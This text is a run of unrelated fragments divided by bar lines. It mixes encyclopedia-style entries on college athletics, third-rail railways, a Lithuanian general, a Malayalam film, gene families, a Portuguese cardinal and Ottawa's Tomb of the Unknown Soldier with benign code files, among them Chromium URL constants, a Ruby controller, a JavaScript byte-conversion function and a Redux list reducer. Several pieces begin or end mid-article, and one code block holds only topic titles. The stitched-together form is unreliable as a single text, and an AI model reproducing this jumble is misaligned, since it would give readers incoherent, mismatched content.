Elite Eight: 1968, 1969, 1970, 1985
Men's Cross Country: 2012, 2014, 2016, 2017
Football: 2008, 2013
Men's Golf: 2008, 2009, 2010, 2011, 2012, 2014, 2015
Women's Basketball: 1995, 1996, 2000, 2001, 2002, 2004, 2005, 2006, 2007, 2009, 2016
Elite Eight: 2002, 2006
National Finalist: 2006
Field Hockey: 2010, 2011
Women's Soccer: 1998, 2010, 2012, 2013, 2016
Final Four: 2013
Softball: 1985, 1987, 1989, 1990, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2001, 2002, 2003
World Series: 1996, 1997
Volleyball: 2010, 2016, 2017, 2018
Elite Eight: 2016, 2018
Club sports
AIC also has a college rugby program that was founded in 2009 and began play in 2010. The rugby program is part of the school's athletic department, has varsity status, with rugby scholarships available for students. AIC plays in Division I in the D1A Conference.
Notable alumni
Romina Bell, Austrian football defender , playing for FC Neunkirch in the Swiss Nationalliga A.
Jim Calhoun , Hall of Fame basketball coach
Asnage Castelly, Olympic Games 1st Haitian wrestler in Summer Olympics in the 74 kg freestyle competition also the flag bearer of the Haitian delegation for the Olympics opening.
Mario Elie, NBA guard
Dave Forbes, NHL hockey player
John Gibbons, First African American U.S. Marshall for the District
Jānis Jaks, Professional Hockey player
Brennan Kapcheck, Professional Hockey player
Bruce Laird, NFL safety for the Baltimore Colts
Tom Rychlec, NFL and AFL tight end for several teams
Gashi, rapper
Facilities
References
External links
|
Third rail railways predominantly operates in urban areas. Notable exceptions are (or were) mainline electrics of the former Southern Region of British Railways and a few interurban railways in the US. In Europe top contact third rail tends to be limited to early electrified urban railways (the current conductor is normally left naked on top), contrary to North America where it usually has a protecting cover. Considered safe, the covered top contact conductor also appeared at most North American systems built relatively recently. Modern European systems predominantly make use of bottom or side contact power rails.
There are numerous urban rail systems, including these running mostly in tunnels, which do not use third rail at all. Such systems can be found in Asia, which may have been influenced by the overhead power supply formula followed by Tokyo Metro after 1960. All South Korean systems use overhead wires (or rigid conductors), as do most modern mainland Chinese metros. In Europe all significant Spanish systems now have overhead power supply. Modern Latin America urban rail also uses overhead wires, though with some important exceptions.
Special group of bottom power supplied railways are rubber-tyred systems. In fact, it may be difficult to classify them beyond any doubt. They may be trains but are they still railways? And do they still have 'third' rails? Despite doubts, such guided systems have been included in the list below.
The list does not include conduit system trams (trolleys), once quite popular in some countries, but none survive.
Europe
United Kingdom
Former:
Giant's Causeway Tramway (elevated third rail; later replaced by overhead wire)
Bessbrook and Newry Tramway (t/c)
Liverpool Overhead Railway (t/c)
Manchester Victoria - Bury (by the Lancashire and Yorkshire Railway) (side contact)
Tyneside Electrics (t/c)
Switzerland
Former:
Chemin de fer Fribourg–Morat–Anet (1903–1947)
AsiaJapan Sapporo Chikatetsu - Namboku Line: rubber-tyred with central guiding/return rail and a flat power rail (t/c) which is also one of the rollways for the rubber tyres; Tōzai and Tōhō Lines: rubber-tyred with o/h power supply, a flat return rail which is also one of the rollways for the rubber tyres and a central guiding rail
Nagoya Chikatetsu - Higashiyama, Meijō, Meikō Lines (t/c, covered)
Osaka Chikatetsu - except Sakaisuji, Nagahori Tsurumi-ryokuchi and Imazatosuji Lines (t/c, covered)
Kinki Nippon Tetsudō - Keihanna Line (t/c, covered)
Kita-Osaka Kyuko Railway (t/c, covered)
Former:
Shin'etsu Line at Usui Pass (Yokokawa-Karuizawa) - mainline system
Komaki Peachliner (rubber-tyred, but power supply separate from guiding rail; closed in 2006)
Africa
North AmericaUnited States'''
Former:
World's Columbian Exposition (Chicago, 1893) railway (t/c)
Pennsylvania Railroad, suburban network New York - New Jersey (t/c, covered)
Albany & Hudson Railroad (t/c)
Baltimore Belt Line, Baltimore & Ohio Railroad
Scioto Valley Traction Co. (Ohio) (t/c?)
Oneida Railway (NY Central RR)
Detroit River Tunnel (Detroit - Windsor), Michigan Central Railroad
Michigan Rly.: Grand Rapids - Kalamazoo and branch lines
Central California Traction Co. (Sacramento area)
Sacramento Northern Railway (t/c)
Laurel Line (Scranton/Wilkes-Barre, PA)
Aurora Elgin & Chicago Railroad (t/c)
Key System - on San Francisco–Oakland Bay Bridge (t/c, covered)
Jacksonville VAL (gr/c)
Nantasket Beach Branch; Greenbush Line Braintree-Cohasset, suburban New Haven Railroad, (t/c, center of track)
South America
References
Electric rail transport
|
Rapolas Okulič-Kazarinas (Okulič-Kozarinas) () (24 October 1857 – 27 April 1919) was a Major general, a volunteer of the Lithuanian Army, one of the pioneers of the Lithuanian military aviation. Buried in the of Kaunas.
Biography
In 1873, Okulič-Kazarinas began military service in the third infantry regiment of the Imperial Russian Army's 28th Infantry Division. Soon he was sent to be educated in the infantry junkers school in Riga for two years. After finishing it in 1875, he returned to his regiment. In 1878, he was promoted to lieutenant and was made commander of his company. He was promoted to Stabs-kapitan in 1888.
In 1902, he studied at the officer jäger school, he was promoted to the rank of lieutenant colonel. During 1903–1904, he was chairman of the regimental court. In 1904, he served in the as the commander of its 3rd Battalion. In 1905, he was appointed as the regiment's commander and sent to Manchuria with the regiment. In 1906, he was transferred to the 3rd Don Infantry Regiment and was appointed commander of its 4th Battalion. In 1911, he was made colonel. In 1912, he was promoted to major general and released to reserve.
Activity in Lithuania
On 29 March 1919, he joined the Lithuanian army as a volunteer. As an officer, he was appointed overseer of the bomb warehouse. Since 5 April, he served as head of the .
After his death, R. Okulič-Kazarinas was awarded the Volunteer and the Lithuanian independence medals in 1930 and 1931 respectively.
Bibliography
Biography of Rapolas Okulič-Kazarinas
1857 births
1919 deaths
Lithuanian Army officers
Military personnel of the Russian Empire
|
```python
A simple way to select a random item from a `list/tuple` data stucture
`bytes` type
Enhance your `tuple`s
Get the most of `float`s
`weakref` callbacks
```
|
```java
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
package org.chromium.chrome.browser;
/**
* Java side version of chrome/common/url_constants.cc
*/
public class UrlConstants {
public static final String CHROME_SCHEME = "chrome://";
public static final String CHROME_NATIVE_SCHEME = "chrome-native://";
public static final String CONTENT_SCHEME = "content://";
public static final String CUSTOM_TAB_SCHEME = "customtab";
public static final String DOCUMENT_SCHEME = "document";
public static final String FILE_SCHEME = "file://";
public static final String HTTP_SCHEME = "http://";
public static final String HTTPS_SCHEME = "https://";
public static final String NTP_URL = "chrome-native://newtab/";
public static final String NTP_HOST = "newtab";
public static final String BOOKMARKS_URL = "chrome-native://bookmarks/";
public static final String BOOKMARKS_FOLDER_URL = "chrome-native://bookmarks/folder/";
public static final String
BOOKMARKS_UNCATEGORIZED_URL = "chrome-native://bookmarks/uncategorized/";
public static final String BOOKMARKS_HOST = "bookmarks";
public static final String DOWNLOADS_URL = "chrome-native://downloads/";
public static final String DOWNLOADS_FILTER_URL = "chrome-native://downloads/filter/";
public static final String DOWNLOADS_HOST = "downloads";
public static final String RECENT_TABS_URL = "chrome-native://recent-tabs/";
public static final String RECENT_TABS_HOST = "recent-tabs";
public static final String HISTORY_URL = "chrome://history/";
public static final String INTERESTS_URL = "chrome-native://interests/";
public static final String INTERESTS_HOST = "interests";
public static final String PHYSICAL_WEB_URL = "chrome-native://physical-web/";
public static final String PHYSICAL_WEB_HOST = "physical-web";
public static final String ABOUT_BLANK = "about:blank";
public static final String GOOGLE_ACCOUNT_ACTIVITY_CONTROLS_URL =
"path_to_url";
}
```
|
Bob Bryan and Mike Bryan were the defending champions but decided not to participate.
Alexander Peya and Bruno Soares won the title, defeating David Marrero and Fernando Verdasco in the final, 6–3, 6–2.
Seeds
Draw
Draw
External links
Main draw
Doubles
|
Satyaveer Munna (born 3 June 1972) is an Indian politician, Member of Legislative Assembly (MLA) of Soraon, Uttar Pradesh, affiliated with Samajwadi Party. He is son of a former Union Minister and senior Indian National Congress leader late Dharmavir and brother of three times MP Shailendra Kumar.
In 2012, he was elected as MLA for Soraon defeating Bahujan Samaj Party's former minister Babulal Bhawra.
Personal life
Satyaveer married in 2003 to Smt. Madhu Veer and the couple has a daughter Vedanshi born in 2005 and a son Vedant Aryan born in 2010.
See also
List of people from Uttar Pradesh
2012 Uttar Pradesh assembly elections
References
External links
1972 births
Living people
Uttar Pradesh MLAs 2012–2017
|
```ruby
class AeicDashboardController < ApplicationController
before_action :require_aeic
def index
if params[:track_id].present?
@track = Track.find(params[:track_id])
recommend_accept_labels = ["recommend-accept", @track.label].compact.join(",")
query_scope_labels = ["query-scope", @track.label].compact.join(",")
else
params[:track_id] = nil
recommend_accept_labels = "recommend-accept"
query_scope_labels = "query-scope"
end
@recommend_accept = GITHUB.issues(Rails.application.settings["reviews"], labels: recommend_accept_labels, state:"open")
@with_query_scope = GITHUB.issues(Rails.application.settings["reviews"], labels: query_scope_labels, state:"open")
end
end
```
|
```javascript
/**
* @license Apache-2.0
*
*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
'use strict';
// MODULES //
var IS_LITTLE_ENDIAN = require( '@stdlib/assert/is-little-endian' );
var Uint8Array = require( '@stdlib/array/uint8' );
var DataView = require( '@stdlib/array/dataview' );
var floor = require( '@stdlib/math/base/special/floor' );
// VARIABLES //
// 0xFFFFFFFF = 2**32 - 1 => 11111111 11111111 11111111 11111111
var LOW_MASK = 0xFFFFFFFF >>> 0;
// 2**32
var TWO_32 = 4294967296;
// MAIN //
/**
* Converts an integer-valued double-precision floating-point number to a signed 64-bit integer byte array according to host byte order (endianness).
*
* ## Notes
*
* - This function assumes that the input value is less than the maximum safe double-precision floating-point integer plus one (i.e., `2**53`).
*
* @param {number} x - input value
* @returns {Uint8Array} byte array
*
* @example
* var bytes = float64ToInt64Bytes( 1.0 );
* // returns <Uint8Array>
*/
function float64ToInt64Bytes( x ) {
var bytes;
var view;
var hi;
var lo;
bytes = new Uint8Array( 8 );
if ( x === 0 ) {
return bytes;
}
// Get the low 32-bit word:
lo = (x&LOW_MASK)>>>0;
// Get the high 32-bit word:
hi = floor( x/TWO_32 );
// Insert the high and low words according to host byte order (endianness):
view = new DataView( bytes.buffer );
if ( IS_LITTLE_ENDIAN ) {
view.setUint32( 0, lo, IS_LITTLE_ENDIAN );
view.setUint32( 4, hi, IS_LITTLE_ENDIAN );
} else {
view.setUint32( 0, hi, IS_LITTLE_ENDIAN );
view.setUint32( 4, lo, IS_LITTLE_ENDIAN );
}
return bytes;
}
// EXPORTS //
module.exports = float64ToInt64Bytes;
```
|
The Churchill Factor: How One Man Made History is a book by British politician, journalist and former Prime Minister of the United Kingdom, Boris Johnson, in which he details the life of former Prime Minister Sir Winston Churchill. It was originally published on 23 October 2014 by Hodder & Stoughton.
Plot
Throughout the book, Johnson details the life of statesman, soldier and writer, and former Prime Minister Sir Winston Churchill. Johnson praises Churchill's efforts as the leader during the Second World War, writing that "he alone saved our civilisation".
Reception
In the wake of its publication, John Kampfner of The Observer said the book featured "not so subtle" attempts to draw a parallel between Johnson and Churchill.
In The Daily Telegraph, Con Coughlin wrote "While Johnson is clearly an admirer of Churchill, it can be difficult to see what new insights he brings to the study of the statesman. The obvious subtext, of course, is that Johnson is seeking to compare his own reputation as a political maverick with that of Churchill, which poses the question: what would Winston Churchill have made of Boris Johnson?"
Another review said "like its characterisation of some of Churchill's own writings, this book is 'crisp, punchy, full of the kind of wham-bam short sentences that keep the reader moving down the page'."
Sonia Purnell, in The Independent, said "He does have a certain genius – as displayed in his previous The Dream of Rome book – for making history, in that dreaded term, 'accessible'... The book says perhaps less about Churchill than it does about the ambition and self-image of Boris [Johnson]. In history-book terms, it is an opportunity missed. For Johnson's career, it will no doubt work wonders."
In the New Statesman, Richard J. Evans said "The book reads as if it was dictated, not written. All the way through we hear Boris's voice; it's like being cornered in the Drones Club and harangued for hours by Bertie Wooster." The Times also noted the book's "Bertie Woosterish voice", while describing its approach as "never boring, genuinely clever in parts, hopelessly biased in its judgments and sometimes irritating to the point of call-in-the-stretchers exhaustion in its verbal bumble".
Dominic Sandbrook, reviewing the work for the Evening Standard, wrote that The Churchill Factor "bears about as much relation to a history book as an episode of Doctor Who does to a BBC4 documentary".
British Conservative Party MP and Churchill's Grandson Nicholas Soames commented, Johnson's book was a "Good book, very readable, but not a work of great scholarship nor anything new in it"
References
Biographies of Winston Churchill
2014 non-fiction books
British books
Political books
21st-century history books
Hodder & Stoughton books
Books by Boris Johnson
Books written by prime ministers of the United Kingdom
|
A gene family is a set of several similar genes, formed by duplication of a single original gene, and generally with similar biochemical functions. One such family are the genes for human hemoglobin subunits; the ten genes are in two clusters on different chromosomes, called the α-globin and β-globin loci. These two gene clusters are thought to have arisen as a result of a precursor gene being duplicated approximately 500 million years ago.
Genes are categorized into families based on shared nucleotide or protein sequences. Phylogenetic techniques can be used as a more rigorous test. The positions of exons within the coding sequence can be used to infer common ancestry. Knowing the sequence of the protein encoded by a gene can allow researchers to apply methods that find similarities among protein sequences that provide more information than similarities or differences among DNA sequences.
If the genes of a gene family encode proteins, the term protein family is often used in an analogous manner to gene family.
The expansion or contraction of gene families along a specific lineage can be due to chance, or can be the result of
natural selection. To distinguish between these two cases is often difficult in practice. Recent work uses a combination
of statistical models and algorithmic techniques to detect gene families that are under the effect of natural selection.
The HUGO Gene Nomenclature Committee (HGNC) creates nomenclature schemes using a "stem" (or "root") symbol for members of a gene family (by homology or function), with a hierarchical numbering system to distinguish the individual members. For example, for the peroxiredoxin family, PRDX is the root symbol, and the family members are PRDX1, PRDX2, PRDX3, PRDX4, PRDX5, and PRDX6.
Basic structure
One level of genome organization is the grouping of genes into several gene families. Gene families are groups of related genes that share a common ancestor. Members of gene families may be paralogs or orthologs. Gene paralogs are genes with similar sequences from within the same species while gene orthologs are genes with similar sequences in different species. Gene families are highly variable in size, sequence diversity, and arrangement. Depending on the diversity and functions of the genes within the family, families can be classified as multigene families or superfamilies.
Multigene families typically consist of members with similar sequences and functions, though a high degree of divergence (at the sequence and/or functional level) does not lead to the removal of a gene from a gene family. Individual genes in the family may be arranged close together on the same chromosome or dispersed throughout the genome on different chromosomes. Due to the similarity of their sequences and their overlapping functions, individual genes in the family often share regulatory control elements. In some instances, gene members have identical (or nearly identical) sequences. Such families allow for massive amounts of gene product to be expressed in a short time as needed. Other families allow for similar but specific products to be expressed in different cell types or at different stages of an organism's development.
Superfamilies are much larger than single multigene families. Superfamilies contain up to hundreds of genes, including multiple multigene families as well as single, individual gene members. The large number of members allows superfamilies to be widely dispersed with some genes clustered and some spread far apart. The genes are diverse in sequence and function displaying various levels of expression and separate regulation controls.
Some gene families also contain pseudogenes, sequences of DNA that closely resemble established gene sequences but are non-functional. Different types of pseudogenes exist. Non-processed pseudogenes are genes that acquired mutations over time becoming non-functional. Processed pseudogenes are genes that have lost their function after being moved around the genome by retrotransposition. Pseudogenes that have become isolated from the gene family they originated in, are referred to as orphans.
Formation
Gene families arose from multiple duplications of an ancestral gene, followed by mutation and divergence. Duplications can occur within a lineage (e.g., humans might have two copies of a gene that is found only once in chimpanzees) or they are the result of speciation. For example, a single gene in the ancestor of humans and chimpanzees now occurs in both species and can be thought of as having been 'duplicated' via speciation. As a result of duplication by speciation, a gene family might include 15 genes, one copy in each of 15 different species.
Duplication
In the formation of gene families, four levels of duplication exist: 1) exon duplication and shuffling, 2) entire gene duplication, 3) multigene family duplication, and 4) whole genome duplication. Exon duplication and shuffling gives rise to variation and new genes. Genes are then duplicated to form multigene families which duplicate to form superfamilies spanning multiple chromosomes. Whole genome duplication doubles the number of copies of every gene and gene family. Whole genome duplication or polyploidization can be either autopolyploidization or alloploidization. Autopolyploidization is the duplication of the same genome and allopolyploidization is the duplication of two closely related genomes or hybridized genomes from different species.
Duplication occurs primarily through uneven crossing over events in meiosis of germ cells. (1,2) When two chromosomes misalign, crossing over - the exchange of gene alleles - results in one chromosome expanding or increasing in gene number and the other contracting or decreasing in gene number. The expansion of a gene cluster is the duplication of genes that leads to larger gene families.
Relocation
Gene members of a multigene family or multigene families within superfamilies exist on different chromosomes due to relocation of those genes after duplication of the ancestral gene. Transposable elements play a role in the movement of genes. Transposable elements are recognized by inverted repeats at their 5' and 3' ends. When two transposable elements are close enough in the same region on a chromosome, they can form a composite transposon. The protein transposase recognizes the outermost inverted repeats, cutting the DNA segment. Any genes between the two transposable elements are relocated as the composite transposon jumps to a new area of the genome.
Reverse transcription is another method of gene movement. An mRNA transcript of a gene is reversed transcribed, or copied, back into DNA. This new DNA copy of the mRNA is integrated into another part of the genome, resulting in gene family members being dispersed.
A special type of multigene family is implicated in the movement of gene families and gene family members. LINE (Long INterspersed Elements) and SINE (Short INterspersed Elements) families are highly repetitive DNA sequences spread all throughout the genome. The LINEs contain a sequence that encodes a reverse transcriptase protein. This protein aids in copying the RNA transcripts of LINEs and SINEs back into DNA, and integrates them into different areas of the genome. This self-perpetuates the growth of LINE and SINE families. Due to the highly repetitive nature of these elements, LINEs and SINEs when close together also trigger unequal crossing over events which result in single-gene duplications and the formation of gene families.
Divergence
Non-synonymous mutations resulting in the substitution of amino acids, increase in duplicate gene copies. Duplication gives rise to multiple copies of the same gene, giving a level of redundancy where mutations are tolerated. With one functioning copy of the gene, other copies are able to acquire mutations without being extremely detrimental to the organisms. Mutations allow duplicate genes to acquire new or different functions.
Concerted evolution
Some multigene families are extremely homogenous, with individual genes members sharing identical or almost identical sequences. The process by which gene families maintain high homogeneity is Concerted evolution. Concerted evolution occurs through repeated cycles of unequal crossing over events and repeated cycles of gene transfer and conversion. Unequal crossing over leads to the expansion and contraction of gene families. Gene families have an optimal size range that natural selection acts towards. Contraction deletes divergent gene copies and keeps gene families from becoming too large. Expansion replaces lost gene copies and prevents gene families from becoming too small. Repeat cycles of gene transfer and conversion increasingly make gene family members more similar.
In the process of gene transfer, allelic gene conversion is biased. Mutant alleles spreading in a gene family towards homogeneity is the same process of an advantageous allele spreading in a population towards fixation. Gene conversion also aids in creating genetic variation in some cases.
Evolution
Gene families, part of a hierarchy of information storage in a genome, play a large role in the evolution and diversity of multicellular organisms. Gene families are large units of information and genetic variability. Over evolutionary time, gene families have expanded and contracted with new gene families being formed and some gene families being lost. In several evolutionary lineages, genes are gained and lost at relatively same rates. Adaptive expansion of gene families occurs when natural selection would favour additional gene copies. This is the case when an environmental stressor acts on a species. Gene amplification is more common in bacteria and is a reversible process. Adaptive contraction of gene families commonly results from accumulation of loss of function mutations. A nonsense mutation which prematurely halts gene transcription becomes fixed in the population, leading to the loss of genes. This process occurs when changes in the environment render a gene redundant.
New gene families originate from orphan genes (isolated pseudogenes). These isolated genes occur by different mean. A gene duplicate accumulates enough mutations to be sufficiently divergent to no longer be recognized as part of the original gene family, horizontal transfer of new genes into a genome, or a new gene originate de novo from non-coding sequences. These orphan genes would then go through the processes of duplication, relocation and divergence to form a family. Gene family death occurs when the loss of a gene leads to the loss of the entire gene family. The continuous loss of genes eventually leads to the extinction of the gene family. Gene loss may be the deletion of genes or the complete loss of function, becoming pseudogenes.
Functional family
In addition to classification by evolution (structural gene family), the HGNC also makes "gene families" by function in their stem nomenclature. As a result, a stem can also refer to genes that have the same function, often part of the same protein complex. For example, BRCA1 and BRCA2 are unrelated genes that are both named for their role in breast cancer and RPS2 and RPS3 are unrelated ribosomal proteins found in the same small subunit.
The HGNC also maintains a "gene group" (formerly "gene family") classification. A gene can be a member of multiple groups, and all groups form a hierarchy. As with the stem classification, both structural and functional groups exist.
See also
List of gene families
Protein family
References
Population genetics
Phylogenetics
|
Invitation is the debut album by alternative rock supergroup Filthy Friends; it was released on Kill Rock Stars in 2017.
Reception
Stephen Thomas Erlewine of AllMusic awarded the album four out of five stars, writing, "It's as fun as it's galvanizing, a record that draws strength from its casual nature." Pitchforks Alfred Soto gave the album a 6.5 out of 10, praising the performance but noting that the music, "depends on its lack of surprise... It is a good time, and not much more."
Track listing
All songs written by Peter Buck and Corin Tucker
"Despierta" – 4:19
"Windmill" – 3:56
"Faded Afternoon" – 3:19
"Any Kind of Crowd" – 3:15
"Second Life" – 2:38
"The Arrival" – 2:19
"Come Back Shelley" – 3:59
"No Forgotten Son" – 3:13
"Brother" – 3:43
"You and Your King" – 3:10
"Makers" – 2:22
"Invitation" – 2:34
Personnel
Filthy Friends
Kurt Bloch – guitar, cover design, production
Peter Buck – guitar production
Scott McCaughey – bass guitar, keyboards, backing vocals, production
Krist Novoselic – bass guitar, production
Bill Rieflin – drums, percussion, mixing, production
Corin Tucker – vocals, production
Technical personnel
Ed Brooks – digital mastering
Don Gunn – mixing, percussion
Adam Seizer – engineering
Francesca Sundsten – cover art
References
External links
2017 debut albums
Filthy Friends albums
Kill Rock Stars albums
|
```xml
import {
ADD_LIST,
REMOVE_LIST,
REMOVE_ALLLISTS,
ADD_LISTS,
SAVE_LIST,
REMOVE_COLUMN // remove the dolumn from all lists
} from "../constants";
import * as _ from "lodash";
import ListDefinition from "../model/ListDefinition";
const INITIAL_STATE = [];
function listReducer(state: Array<ListDefinition> = INITIAL_STATE, action: any = { type: "" }): Array<ListDefinition> {
switch (action.type) {
case ADD_LIST:
//path_to_url
let newarray = _.clone(state);
newarray.push(action.payload.list);
return newarray;
case SAVE_LIST:
let newarray2 = _.clone(state);
let item =_.find( newarray2,item => item.guid === action.payload.list.guid);
item = action.payload.list;
return newarray2;
case REMOVE_LIST:
let newArr = _.filter(state, (o) => { return o.guid !== action.payload.list.guid; });
return newArr;
case REMOVE_ALLLISTS:
return [];
case ADD_LISTS:
return _.union(state, action.payload.lists);
case REMOVE_COLUMN:
let listrefs = _.clone(state);
for (const listref of listrefs) {
for (let i = listref.columnReferences.length - 1; i >= 0; i--) {
if (listref.columnReferences[i].columnDefinitionId === action.payload.column.guid) {
listref.columnReferences.splice(i, 1);
}
}
}
return listrefs;
default:
return state;
}
}
export default listReducer;
```
|
```javascript
import Annotation from './Annotation'
export default class Subscript extends Annotation {}
Subscript.schema = {
type: 'subscript'
}
```
|
Schizovalva mesacta is a moth of the family Gelechiidae. It was described by Edward Meyrick in 1909. It is found in Gauteng, South Africa.
The wingspan is about 16 mm. The forewings are dark fuscous, suffused with reddish brown towards the dorsum and a short streak of blackish suffusion on the base of the dorsum and a blackish streak along the fold from near the base to beyond one-third. The discal stigmata are rather approximated, blackish and connected by red-brownish suffusion, beneath which adjacent to each is an additional less defined group of blackish scales. There is a narrow undefined slightly angulated red-brownish fascia at about three-fourths. The hindwings are light grey.
References
Endemic moths of South Africa
Moths described in 1909
Schizovalva
|
Chapters is a 2012 Malayalam film written and directed by debutant director Sunil Ibrahim. Dialogues by Duo writers M R Vibin and Suhail Ibrahim. The film features an ensemble cast consisting of Sreenivasan, Nivin Pauly, Hemanth Menon, Vijeesh, Dharmajan, Vineeth Kumar, Shine, Aju Varghese, Riya Saira, Rejith Menon, Gauthami Nair, K. P. A. C. Lalitha and Lena. In a narrative structure similar to hyperlink cinema, the film consists of four "chapters", each related to the other in some or the other way.
The film is produced by Shafeer Sait under the banner of Qurban Films in association with Campus Oaks and features music composed by Mejo Joseph, whilst cinematography is handled by Krish Kymal and the film is edited by V. Saajan. Campus Oaks is an entertainment company, conceptualised and driven by students of the 1995 batch of NSS Engineering College, Palakkad.
The film was released on 7 December to positive reviews.
Plot
The film is narrated in text book format with every new link to the story is presented as a new chapter.
The first chapter talks about four friends, Krishna Kumar, Anwar, Joby and Kannan, who are unemployed and in need of quick money. To make some money for Krishna Kumar's sister's wedding, they venture out for a risky adventure that will make them rich. It all works out well until the end when their plan goes all awry.
The second chapter is about a long bus journey. Sethu, a middle-aged man, is on his way to the hospital, where his young son awaits a surgery and chemotherapy. Because he is carrying a huge sum of money for his young son's cancer treatment, Sethu is nervous and suspicious of his fellow passengers. Meanwhile, he strikes up a conversation with an old lady sitting next to him who reveals that she has a son who is in jail.
In the third chapter, we see another group of six youngsters. Arun, Vinod aka Choonda, Kaanu and Jincy is heading for a journey to a hill station, to register a marriage - that of Shyam and Priya. When the group return to their car after stopping for a brief while, they find a dead body in it. The group disperses in panic.
In the fourth and final chapter, we see an anxious lady, Annie waiting by her son's bedside in the hospital awaiting her husband's arrival. She is astonished when he arrives with the money, but refrains from taxing him with further questions. She does manage to convince him however that the money that he has brought in should better be left where it truly belongs.
The final scenes explain how the different chapters are interlinked. Though some of the characters never meet, there is a link that connects them all.
Cast
Sreenivasan as Sethu
Nivin Pauly as Krishna Kumar
Hemanth Menon as Anwar
Aju Varghese as Kaanu
Lena as Annie
Vineeth Kumar as Arun
Sadiq as Krishna Kumar's father
Gauthami Nair as Priya, Krishna Kumar's sister
Manikandan Pattambi
Vijeesh as Joby
Dharmajan Bolgatty as Kannan
Riya Saira as Jincy
Rejith Menon as Shyam
Manikandan as Chandrappan
Shine Tom Chacko as Vinod aka Choonda
K. P. A. C. Lalitha as the elderly woman
Kalabhavan Shajon as the conductor of the bus
Dhananjay as Kannan
Vanitha Krishnachandran
M R Vibin
Release and reception
A special screening of the film was held in the first week of December 2012. Theaterbalcony.com. Retrieved 10 December 2012. The film released in theatres on 7 December.
Paresh C Palicha of Rediff.com stated, "The director succeeds in creating vivid characters (around 20 of them) and giving them believable motives for their actions so that they remain vivid in our memory. All said and done, Chapters shows promise."
Sify.com's reviewer gave the verdict as "Average" and said, "Chapters is an experiment, which can be appreciated only for its narrative style that is relatively new in this part of the globe."
Aabha Anoop of The Hindu stated, "A logical and well-knit script is what makes debutant director Sunil Ibrahim’s Chapters another notable venture in the Malayalam cinema scene today. Set somewhere in the High Ranges, it could be noted for its cinematography. All the actors have played their part well, though none deserves a special mention. Producer Shafeer Sait may be appreciated for his willingness to experiment. Music by Mejo Joseph for Rafeeque Ahamed’s lyrics, however, does not score well. Chapters could be watched for the sheer novelty of presentation."
References
2012 films
2010s Malayalam-language films
Indian anthology films
Indian nonlinear narrative films
2012 directorial debut films
Films directed by Sunil Ibrahim
|
Witzeeze is a municipality in the district of Lauenburg, in Schleswig-Holstein, Germany.
References
Municipalities in Schleswig-Holstein
Herzogtum Lauenburg
|
José Saraiva Martins, C.M.F. GCC (born 6 January 1932) is a Portuguese cardinal of the Catholic Church. He was prefect of the Congregation for the Causes of Saints from 1998 to 2008.
Born in Gagos de Jarmelo in Guarda, Portugal, to Antonio and Maria (née da Natividade Martins) Saraiva, he joined the Congregation of the Missionary Sons of the Immaculate Heart of Mary, commonly known as the Claretians, and professed his vows on 22 August 1950. Saraiva Martins was ordained as a priest by Archbishop Ettore Cunial on 16 March 1957. He studied at the Pontifical Gregorian University and the Pontifical University of St. Thomas Aquinas (Angelicum) in Rome, where he earned a licentiate and a doctorate (respectively) in theology.
Saraiva Martins taught metaphysics for a year in Marino, Italy, then in 1959 came to the Roman Claretianum, where he taught fundamental and sacramental theology for a decade. He became rector of the Pontifical Urbaniana University for three terms (1977–1980, 1980–1983, 1986–1988).
On 26 May 1988, Saraiva Martins was appointed Secretary of the Congregation for Catholic Education and titular archbishop of Thuburnica. He received his episcopal consecration from Cardinal Agostino Casaroli, with Archbishops Jan Pieter Schotte and Giovanni Battista Re serving as co-consecrators, on the following 2 July in the Basilica of Ss. XII Apostoli. On 30 May 1998, he was named Prefect of the Congregation for the Causes of Saints.
Pope John Paul made him Cardinal Deacon of Nostra Signora del Sacro Cuore in the consistory of 21 February 2001. Like all major Vatican officials he lost his position on 2 April 2005 on the death of the pope. He was one of the cardinal electors who participated in the 2005 papal conclave that elected Pope Benedict XVI, who later confirmed him as prefect on 21 April 2005.
On 9 July 2008, Pope Benedict XVI accepted his resignation as prefect to be succeeded by Angelo Amato. On 24 February 2009, he was promoted to the order of cardinal bishops, with title of the suburbicarian see of Palestrina. Pope Benedict XVI allowed Martins to remain as Roman Postulator for the Cause for José Sánchez del Río, a 14-year-old Mexican youth and Cristeros who died a martyr. Martins had conducted the beatification ceremony in Mexico City for the young boy as a stand-in for Pope Benedict XVI. Sanchez del Rio was finally canonized on 16 October 2016 in Rome by Pope Francis.
External links
Biography at catholic-pages.com
Sources
External links
Biography at catholic-pages.com
1932 births
20th-century Roman Catholic titular archbishops
21st-century Portuguese cardinals
Cardinal-bishops of Palestrina
Cardinals created by Pope John Paul II
Claretian cardinals
Living people
Members of the Congregation for Bishops
Members of the Congregation for Catholic Education
Members of the Congregation for the Causes of Saints
People from Guarda, Portugal
Pontifical Gregorian University alumni
Pontifical University of Saint Thomas Aquinas alumni
|
Evariste Ngolok (born November 15, 1988 in Cameroon) is a Cameroonian footballer playing for ÍBV.
Career
Ngolok is a defensive midfielder who made his debut in professional football, being part of the R. Union Saint-Gilloise squad in the 2007-08 season.
References
External links
Footgoal Profile
1988 births
Living people
Cameroonian men's footballers
Expatriate men's footballers in Belgium
Expatriate men's footballers in Cyprus
Expatriate men's footballers in Iceland
R.S.C. Anderlecht players
K.V.C. Westerlo players
F.C.V. Dender E.H. players
Oud-Heverlee Leuven players
K.S.C. Lokeren Oost-Vlaanderen players
Aris Limassol FC players
Íþróttabandalag Vestmannaeyja players
Belgian Pro League players
Challenger Pro League players
Úrvalsdeild karla (football) players
Cameroonian expatriate men's footballers
Royale Union Saint-Gilloise players
Cameroonian expatriate sportspeople in Belgium
Men's association football midfielders
|
The Tomb of the Unknown Soldier (French: Tombe du Soldat Inconnu) is a tomb situated before the National War Memorial in Confederation Square, Ottawa, Ontario. The tomb is dedicated to Canadian service members, and holds the remains of an unidentified Canadian soldier who died in France during the First World War; selected from a Commonwealth War Grave near Vimy, in the vicinity where the Battle of Vimy Ridge took place.
A tomb with an unidentified soldier was added to the National War Memorial in 2000, the culmination of a project begun by the Royal Canadian Legion. Since 2007, the Canadian Armed Forces have posted sentries at the tomb, and the National War Memorial, from April to November.
Unknown soldier
